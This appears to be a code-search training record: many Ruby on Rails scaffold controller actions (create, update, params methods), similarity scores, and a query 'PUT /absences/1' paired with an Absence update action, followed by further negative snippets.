:new }\n format.json { render json: @akce.errors, status: :unprocessable_entity }\n end\n end\n end", "def sentence_params\n params.require(:sentence).permit(:sid, :body)\n end", "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sentence }\n end\n end", "def create\n @article = Article.new(article_params)\n\n json_parse = JSON.parse(@article.advertisement)\n ad_hash = json_parse.map { |data|\n ApplicationController.helpers.a8_parse(data)\n }\n ad_hash_json = ActiveSupport::JSON.encode(ad_hash)\n @article[:advertisement] = ad_hash_json\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def sector_params\r\n params.require(:sector).permit(:name, :acronym, :status)\r\n end", "def create\n @odeme_akademist = Odeme::Akademist.new(params[:odeme_akademist])\n\n respond_to do |format|\n if @odeme_akademist.save\n format.html { redirect_to @odeme_akademist, notice: 'Akademist was successfully created.' }\n format.json { render json: @odeme_akademist, status: :created, location: @odeme_akademist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @odeme_akademist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entertainment = Entertainment.new(entertainment_params)\n\n respond_to do |format|\n if @entertainment.save\n format.html { redirect_to @entertainment, notice: 'Entertainment was successfully created.' }\n format.json { render :show, status: :created, location: @entertainment }\n else\n format.html { render :new }\n format.json { render json: @entertainment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.find(params[:account_id])\n @allowance = @account.allowances.build(params[:allowance])\n\n respond_to do |format|\n if @allowance.save\n format.html { redirect_to @allowance, notice: 'Allowance was successfully created.' }\n format.json { render json: @allowance, status: :created, location: @allowance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @answer = Answer.new\n # @answer.user_id = current_user.もid\n # @answer.question_id = params[:question_id]\n # @answer.content = params[:content]\n # @answer.save\n # 一個保存できれば、何個でも保存できる\n if !params[:answer][:content]\n render json: {errors: \"未入力の項目があります。\"}, status: 422\n\n end\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end", "def create\n getFullNameEmployees\n @announcement = Announcement.new(announcement_params)\n if @announcement.global\n @announcement.employee_id=0\n end\n @announcement.accepted = false\n\n # @announcement.global = true\n respond_to do |format|\n\n if @announcement.save\n format.html { redirect_to @announcement, notice: 'Anuncio fue creado.' }\n format.json { render :show, status: :created, location: @announcement }\n else\n format.html { render :new }\n format.json { render json: @announcement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ascaffold = Ascaffold.new(ascaffold_params)\n\n respond_to do |format|\n if @ascaffold.save\n format.html { redirect_to @ascaffold, notice: 'Ascaffold was successfully created.' }\n format.json { render :show, status: :created, location: @ascaffold }\n else\n format.html { render :new }\n format.json { render json: @ascaffold.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @english_entry = EnglishEntry.new(params[:english_entry])\n\n respond_to do |format|\n if @english_entry.save\n format.html { redirect_to @english_entry, notice: 'English entry was successfully created.' }\n format.json { render json: @english_entry, status: :created, location: @english_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @english_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @participant = Participant.new(participant_params)\n @participant.competences = @competence\n respond_to do |format|\n if @participant.save\n TeamParticipant.create(participant: @participant, team: @team)\n format.html { redirect_to participants_url }\n format.json { render :show, status: :created, location: @participant }\n else\n format.html { render :new }\n format.json { render json: @participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def announcement_params\n params.require(:announcement).permit(:title, :txt, :start_announcing_at, :stop_announcing_at, :category_id, :concept, :role_names)\n \n end", "def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @athlete = Athlete.new(athlete_params)\n\n respond_to do |format|\n if @athlete.save\n format.html { redirect_to @athlete, notice: 'Athlete was successfully created.' }\n format.json { render :show, status: :created, location: @athlete }\n else\n format.html { render :new }\n format.json { render json: @athlete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @athlete = Athlete.new(athlete_params)\n\n respond_to do |format|\n if @athlete.save\n format.html { redirect_to @athlete, notice: 'Athlete was successfully created.' }\n format.json { render :show, status: :created, location: @athlete }\n else\n format.html { render :new }\n format.json { render json: @athlete.errors, status: :unprocessable_entity }\n end\n end\n end", "def announcament_params\r\n params.require(:announcament).permit(:city, :body, :title, :company_id, :worker_id, :skill_ids => [], :season_ids => [])\r\n end", "def announcament_params\n params.require(:announcament).permit(:city, :body, :title, :company_id, :worker_id, :skill_ids => [], :season_ids => [])\n end", "def create\n @emission = Emission.new(emission_params)\n\n respond_to do |format|\n if @emission.save\n format.html { redirect_to @emission, notice: 'Emission was successfully created.' }\n format.json { render :show, status: :created, location: @emission }\n else\n format.html { render :new }\n format.json { render json: @emission.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @representante_athlete = Representante::Athlete.new(params[:representante_athlete])\n @representante_athlete.organization = current_user.organization\n\n respond_to do |format|\n if @representante_athlete.save\n format.html { redirect_to representante_athletes_url, notice: 'Atleta criado com sucesso' }\n format.json { render json: @representante_athlete, status: :created, location: @representante_athlete }\n else\n format.html { render action: \"new\" }\n format.json { render json: @representante_athlete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @descuento = Descuento.new(params[:descuento])\n\n respond_to do |format|\n if @descuento.save\n format.html { redirect_to @descuento, notice: 'Descuento was successfully created.' }\n format.json { render json: @descuento, status: :created, location: @descuento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @descuento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seance = Seances::UseCases::Create.new.call(params: seance_params)\n\n if @seance.valid?\n render jsonapi: @seance, status: :created\n else\n render jsonapi_errors: @seance.errors, status: :unprocessable_entity\n end\n end", "def create\n @envelope = Envelope.new(envelope_params)\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render :show, status: :created, location: @envelope }\n else\n format.html { render :new }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_agenda\n unless params[:meeting][:agendas_attributes].blank?\n params[:meeting][:agendas_attributes].each do |agenda|\n next if agenda[1][:content].blank?\n @meeting.proceeding.agendas.new(content: agenda[1][:content])\n end\n end\n end", "def create\nuser=User.find_by_id(current_user.id)\n @exprience = Exprience.new(params[:exprience])\n@exprience.user=user\n respond_to do |format|\n if @exprience.save\n format.html { redirect_to @exprience, notice: 'Exprience was successfully created.' }\n format.json { render json: @exprience, status: :created, location: @exprience }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exprience.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n category = params[:text].scan(/#(\\w+)/).flatten\n\n idea = Idea.create!(\n content: params[:text],\n category: category,\n user: User.find_by(uid: params[:user_id]),\n channel: params[:channel_name],\n stage: \"seed\"\n )\n json = {\n \"text\": \"#{idea.content}\",\n \"attachments\": [\n {\n \"text\": \"#{idea.user.firstname} just logged a new idea!\",\n \"fallback\": \"You are unable to choose a game\",\n \"callback_id\": \"wopr_game\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"actions\": [\n {\n \"name\": \"game\",\n \"text\": \"endorse\",\n \"type\": \"button\",\n \"value\": \"chess\"\n },\n {\n \"name\": \"game\",\n \"text\": \"Suggest\",\n \"type\": \"button\",\n \"value\": \"maze\"\n },\n ]\n }\n ]\n }\n\n render json: json\n end" ]
[ "0.71037537", "0.688124", "0.62361616", "0.59671444", "0.5900795", "0.58727753", "0.57875025", "0.57371867", "0.5678947", "0.5603889", "0.5603889", "0.5587193", "0.5547098", "0.5528626", "0.5527029", "0.54670244", "0.5432372", "0.54175895", "0.54175895", "0.5396893", "0.5348624", "0.5332862", "0.53260005", "0.53215164", "0.53206027", "0.52927417", "0.52927417", "0.52927417", "0.52853125", "0.5268972", "0.52653515", "0.5240257", "0.52204376", "0.5217542", "0.520994", "0.5186242", "0.51751584", "0.5172566", "0.5171574", "0.51506716", "0.5145399", "0.51369804", "0.5132021", "0.5120416", "0.51201564", "0.5097594", "0.5091811", "0.50835705", "0.5082989", "0.50780123", "0.5071543", "0.5070489", "0.50619155", "0.5058257", "0.50523525", "0.5044373", "0.5035144", "0.5034992", "0.50316733", "0.5021672", "0.5015239", "0.50139713", "0.5012581", "0.5010636", "0.5009741", "0.5002513", "0.49905962", "0.4988292", "0.4984697", "0.49808913", "0.49804613", "0.4979559", "0.4970558", "0.49687526", "0.49645826", "0.49614915", "0.4959593", "0.49516496", "0.49473917", "0.49462065", "0.4940921", "0.49392882", "0.49384177", "0.49375176", "0.49364248", "0.49343795", "0.49269462", "0.49257687", "0.49238092", "0.49238092", "0.49213552", "0.49130338", "0.49101296", "0.49068338", "0.49052936", "0.49040154", "0.49031696", "0.4900254", "0.48986012", "0.48960495" ]
0.67813945
2
PUT /absences/1 PUT /absences/1.json
def update @absence = Absence.find(params[:id]) respond_to do |format| if @absence.update_attributes(params[:absence]) format.html { redirect_to @absence, notice: 'Absence was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @absence.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @absence.update(absence_params)\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { render :show, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @absence = Absence.find(params[:id])\n #@member = Member.find(params[:member_id])\n #@club = Club.find(params[:club_id] ) \n\n \n \n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to club_member_absence_path(@club,@member,@absence), notice: 'Absence was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно создано.' }\n format.json { render :edit, status: :created, location: @absence }\n end\n end\n end", "def update\n respond_to do |format|\n if @absence.update(absence_params)\n format.html { redirect_to employee_url(@absence.employee_id), :controller => :employees, notice: \"Absence was successfully updated.\" }\n format.json { render :show, status: :ok, location: @absence }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def update\n ap = absence_params\n reason_id = ap[:reason_id].try('to_i')\n if reason_id.present?\n ap[:project_id]=0 if ![2, 3].include?(reason_id)\n ap[:target_id]=0 if reason_id != 2\n end\n\n abs_params\n respond_to do |format|\n if @absence.update(ap)\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно обновлено.' }\n format.json { render :edit, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def update\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.find(params[:id])\n\n respond_to do |format|\n if @absence_request.update_attributes(params[:absence_request])\n format.html { redirect_to(@absence_request, :notice => 'Absence request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def update\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n if @attendence.update_attributes(params[:attendence])\n format.html { redirect_to @attendence, notice: 'Attendence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params.permit!\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n if @hr_attendence.update_attributes(params[:hr_attendence])\n format.html { redirect_to(@hr_attendence, :notice => 'Attendence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hr_attendence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n update_resource_response(@headline, headline_params)\n end", "def update\n respond_to do |format|\n if @ambience.update(ambience_params)\n format.html { redirect_to @ambience, notice: 'Ambience was successfully updated.' }\n format.json { render :show, status: :ok, location: @ambience }\n else\n format.html { render :edit }\n format.json { render json: @ambience.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def create\n @absence = Absence.new(params[:absence])\n @title = \"New Absence\"\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render json: @absence, status: :created, location: @absence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n if @exprience.update_attributes(params[:exprience])\n format.html { redirect_to @exprience, notice: 'Exprience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exprience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n if @avert.update_attributes(params[:avert])\n format.html { redirect_to @avert, notice: 'Avert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @avert.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to absences_url }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @model_acronym.update(model_acronym_params)\n format.html { redirect_to @model_acronym, notice: 'Model acronym was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @model_acronym.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sentence = Sentence.find(params[:id])\n\n respond_to do |format|\n if @sentence.update_attributes(sentence_params)\n format.html { redirect_to @sentence, notice: 'Sentence was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sentence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n if @cadet.update_attributes(params[:cadet])\n format.html { redirect_to @cadet, notice: 'Cadet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @oase = Oasis.find(params[:id])\n\n respond_to do |format|\n if @oase.update_attributes(params[:oase])\n format.html { redirect_to @oase, notice: 'Oasis was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oase.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ambiance = Ambiance.find(params[:id])\n\n respond_to do |format|\n if @ambiance.update_attributes(params[:ambiance])\n format.html { redirect_to(@ambiance, :notice => 'L ambiance a ete modifiee.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambiance.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @asistence = Asistence.find(params[:id])\n @group = @asistence.group\n\n respond_to do |format|\n if @asistence.update_attributes(params[:asistence])\n format.html { redirect_to @group, :notice => 'Asistence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asistence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @amenity = Amenity.find(params[:id])\n if @amenity.update_attributes(:name=>params[:body][:amenity])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@amenity.errors)\n end \n end", "def update\n respond_to do |format|\n if @attendence.update(attendence_params)\n format.html { redirect_to @attendence, notice: 'Attendence was successfully updated.' }\n format.json { render :show, status: :ok, location: @attendence }\n else\n format.html { render :edit }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attendence.update(attendence_params)\n format.html { redirect_to @attendence, notice: 'Attendence was successfully updated.' }\n format.json { render :show, status: :ok, location: @attendence }\n else\n format.html { render :edit }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_absence_request\n @request = AbsenceRequest.find(params[:id])\n end", "def update\n respond_to do |format|\n if @cadet.update(cadet_params)\n format.html { redirect_to @cadet, notice: 'Cadet was successfully updated.' }\n format.json { render :show, status: :ok, location: @cadet }\n else\n format.html { render :edit }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @assessment = Assessment.find(params[:id])\n\n respond_to do |format|\n if @assessment.update_attributes(params[:assessment])\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @announcement = Announcement.find(params[:id])\n @announcement.title = params[:title]\n @announcement.description = params[:description]\n @announcement.price = params[:price]\n @announcement.photo = params[:photo]\n @announcement.latitude = params[:latitude]\n @announcement.longitude = params[:longitude]\n @announcement.subcategory_id = params[:subcategory_id]\n @announcement.place = params[:place]\n @announcement.save\n render json:@announcement\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @passage = Passage.find(params[:id])\n\n respond_to do |format|\n if @passage.update_attributes(params[:passage])\n format.html { redirect_to @passage, notice: 'Passage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @passage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @intro = Intro.find(params[:id])\n\n @intro.update_attributes(params[:intro])\n\n respond_to do |format|\n if @intro.update_attributes(params[:contact])\n format.html { redirect_to manage_intro_index_url, notice: 'Manage contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n if @spanish_vocab.update_attributes(params[:spanish_vocab])\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @athlete.altered_by = current_user.id\n namesplit = @athlete.name.split(' ')\n @athlete.short_name = \"#{namesplit.first} #{namesplit.last}\" if namesplit.length > 1\n @athlete.short_name = \"#{namesplit.first}\" if namesplit.length == 1\n\n respond_to do |format|\n\n if @athlete.update(athlete_params)\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n format.html { redirect_to club_path(@athlete.club_id), notice: 'Atleta criado com sucesso.' }\n else\n format.html { redirect_to @athlete, notice: 'Atleta actualizado com sucesso.' }\n end\n format.json { head :no_content }\n else\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n flash[:error] = @athlete.errors.full_messages.join(\".<br>\").html_safe\n format.html { redirect_to club_path(@athlete.club_id) }\n else\n format.html { render action: 'edit' }\n end\n format.json { render json: @athlete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @orderable_concept = OrderableConcept.find(params[:id])\n\n respond_to do |format|\n if @orderable_concept.update_attributes(params[:orderable_concept])\n format.html { redirect_to @orderable_concept, notice: 'Orderable concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orderable_concept.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @seance = Seances::UseCases::Update.new.call(id: params[:id], params: seance_params)\n\n if @seance.valid?\n render jsonapi: @seance\n else\n render jsonapi_errors: @seance.errors, status: :unprocessable_entity\n end\n end", "def update\n @vocab = Vocab.find(params[:id])\n\n respond_to do |format|\n if @vocab.update_attributes(params[:vocab])\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @condolence = Condolence.find(params[:id])\n\n respond_to do |format|\n if @condolence.update_attributes(params[:condolence])\n format.html { redirect_to @condolence, notice: 'Condolence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @condolence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @avance = Avance.find(params[:id])\n\n respond_to do |format|\n if @avance.update_attributes(params[:avance])\n format.html { redirect_to(@avance, :notice => 'Avance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @avance.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @arcone = Arcone.find(params[:id])\n\n respond_to do |format|\n if @arcone.update_attributes(params[:arcone])\n format.html { redirect_to @arcone, notice: 'Arcone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arcone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sentence = Sentence.find(params[:id])\n\n respond_to do |format|\n if @sentence.update_attributes(params[:sentence])\n format.html { redirect_to(@sentence, :notice => 'Sentence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sentence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(params[:absence])\n @absence.member_id = params[:member_id]\n @member = Member.find(params[:member_id])\n @club = Club.find(params[:club_id] ) \n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to club_member_absence_path(@club,@member,@absence), notice: 'Absence was successfully created.' }\n format.json { render json: @absence, status: :created, location: @absence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cue = Cue.find(params[:id])\n\n respond_to do |format|\n if @cue.update_attributes(params[:cue])\n format.html { redirect_to @cue, notice: 'Cue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cue.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @headline.update(headline_params)\n format.html { redirect_to @headline, notice: 'Headline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @headline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n if @allowance.update_attributes(params[:allowance])\n format.html { redirect_to @allowance, notice: 'Allowance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ca = Ca.find(params[:id])\n\n respond_to do |format|\n if @ca.update_attributes(params[:ca])\n format.html { redirect_to @ca, notice: 'Ca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vocab.update(vocab_params)\n format.html { redirect_to @vocab, notice: \"Vocab was successfully updated.\" }\n format.json { render :show, status: :ok, location: @vocab }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n @queencell = Queencell.find(params[:id])\n\n respond_to do |format|\n if @queencell.update_attributes(params[:queencell])\n format.html { redirect_to @queencell, notice: 'Queencell was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @queencell.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @abook.update(abook_params)\n format.html { redirect_to @abook, notice: 'Abook was successfully updated.' }\n format.json { render :show, status: :ok, location: @abook }\n else\n format.html { render :edit }\n format.json { render json: @abook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @chapter = @aside.chapter\n @scripted = @chapter.scripted\n respond_to do |format|\n if @aside.update(aside_params)\n format.html { redirect_to chapter_path(@chapter), notice: 'Aside was successfully updated.' }\n format.json { render :show, status: :ok, location: @aside }\n else\n format.html { render :edit }\n format.json { render json: @aside.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n if @advocacy.update_attributes(params[:advocacy])\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to club_member_absences_path(params[:club_id],current_member) }\n format.json { head :ok }\n end\n end", "def create\n @absence = Absence.new(absence_params)\n \n respond_to do |format|\n if @absence.save\n format.html { redirect_to employee_url(@absence.employee_id), :controller => :employees, notice: \"Absence was successfully created.\" }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sentence.update(sentence_params)\n format.html { redirect_to @sentence, notice: 'Sentence was successfully updated.' }\n format.json { render :show, status: :ok, location: @sentence }\n else\n format.html { render :edit }\n format.json { render json: @sentence.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n respond_to do |format|\n if @ab_chapter.update(ab_chapter_params)\n format.html { redirect_to @ab_chapter, notice: 'Ab chapter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ab_chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @archetype = Archetype.find(params[:id])\n\n respond_to do |format|\n if @archetype.update_attributes(params[:archetype])\n format.html { redirect_to @archetype, notice: 'Archetype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" 